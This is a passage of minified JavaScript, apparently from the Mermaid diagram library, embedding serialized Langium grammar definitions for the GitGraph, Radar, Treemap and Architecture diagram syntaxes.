idden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false},{"$type":"TerminalRule","name":"ARCH_ICON","definition":{"$type":"RegexToken","regex":"/\\\\([\\\\w-:]+\\\\)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARCH_TITLE","definition":{"$type":"RegexToken","regex":"/\\\\[[\\\\w ]+\\\\]/"},"fragment":false,"hidden":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"ArchitectureGrammar"),kje=Tt(()=>qme??(qme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"GitGraph","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"GitGraph","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"Group","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"Keyword","value":":"}]},{"$type":"Keyword","value":"gitGraph:"},{"$type":"Group","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]},{"$type":"Keyword","value":":"}]}]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]},{"$type":"Assignment","feature":"statements","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Statement","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Direction","definition":{"$type":"Assignment","feature":"dir","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"LR"},{"$type":"Keyword","value":"TB"},{"$type":"Keyword","value":"BT"}]}},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Commit","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"commit"},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"msg:","cardinality":"?"},{"$type":"Assignment","feature":"message","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"type:"},{"$type":"Assignment","feature":"type","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"NORMAL"},{"$type":"Keyword","value":"REVERSE"},{"$type":"Keyword","value":"HIGHLIGHT"}]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Branch","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"branch"},{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"order:"},{"$type":"Assignment","feature":"order","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Merge","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"merge"},{"$type":"Assignment","feature":"branch","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"type:"},{"$type":"Assignment","feature":"type","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"NORMAL"},{"$type":"Keyword","value":"REVERSE"},{"$type":"Keyword","value":"HIGHLIGHT"}]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Checkout","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"checkout"},{"$type":"Keyword","value":"switch"}]},{"$type":"Assignment","feature":"branch","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"CherryPicking","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"cherry-pick"},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"parent:"},{"$type":"Assignment","feature":"parent","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@14"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@15"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false},{"$type":"TerminalRule","name":"REFERENCE","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\\\w([-\\\\./\\\\w]*[-\\\\w])?/"},"fragment":false,"hidden":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"GitGraphGrammar"),Eje=Tt(()=>Wme??(Wme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Radar","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Radar","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"radar-beta"},{"$type":"Keyword","value":"radar-beta:"},{"$type":"Group","elements":[{"$type":"Keyword","value":"radar-beta"},{"$type":"Keyword","value":":"}]}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},{"$type":"Group","elements":[{"$type":"Keyword","value":"axis"},{"$type":"Assignment","feature":"axes","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"axes","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"curve"},{"$type":"Assignment","feature":"curves","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"curves","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"options","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"options","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Label","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"["},{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@18"},"arguments":[]}},{"$type":"Keyword","value":"]"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Axis","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Curve","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[],"cardinality":"?"},{"$type":"Keyword","value":"{"},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"Keyword","value":"}"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Entries","definition":{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"}]}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"DetailedEntry","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"axis","operator":"=","terminal":{"$type":"CrossReference","type":{"$ref":"#/rules@2"},"terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},"deprecatedSyntax":false}},{"$type":"Keyword","value":":","cardinality":"?"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"NumberEntry","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Option","definition":{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"showLegend"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"ticks"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"max"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"min"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"graticule"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}}]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"GRATICULE","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"circle"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"polygon"}}]},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@15"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@16"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"interfaces":[{"$type":"Interface","name":"Entry","attributes":[{"$type":"TypeAttribute","name":"axis","isOptional":true,"type":{"$type":"ReferenceType","referenceType":{"$type":"SimpleType","typeRef":{"$ref":"#/rules@2"}}}},{"$type":"TypeAttribute","name":"value","type":{"$type":"SimpleType","primitiveType":"number"},"isOptional":false}],"superTypes":[]}],"definesHiddenTokens":false,"hiddenTokens":[],"types":[],"usedGrammars":[]}`)),"RadarGrammar"),Sje=Tt(()=>Yme??(Yme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Treemap","rules":[{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"ParserRule","entry":true,"name":"Treemap","returnType":{"$ref":"#/interfaces@4"},"definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@0"},"arguments":[]},{"$type":"Assignment","feature":"TreemapRows","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"TREEMAP_KEYWORD","definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"treemap-beta"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"treemap"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"CLASS_DEF","definition":{"$type":"RegexToken","regex":"/classDef\\\\s+([a-zA-Z_][a-zA-Z0-9_]+)(?:\\\\s+([^;\\\\r\\\\n]*))?(?:;)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STYLE_SEPARATOR","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":":::"}},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"SEPARATOR","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":":"}},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"COMMA","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":","}},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WS","definition":{"$type":"RegexToken","regex":"/[ 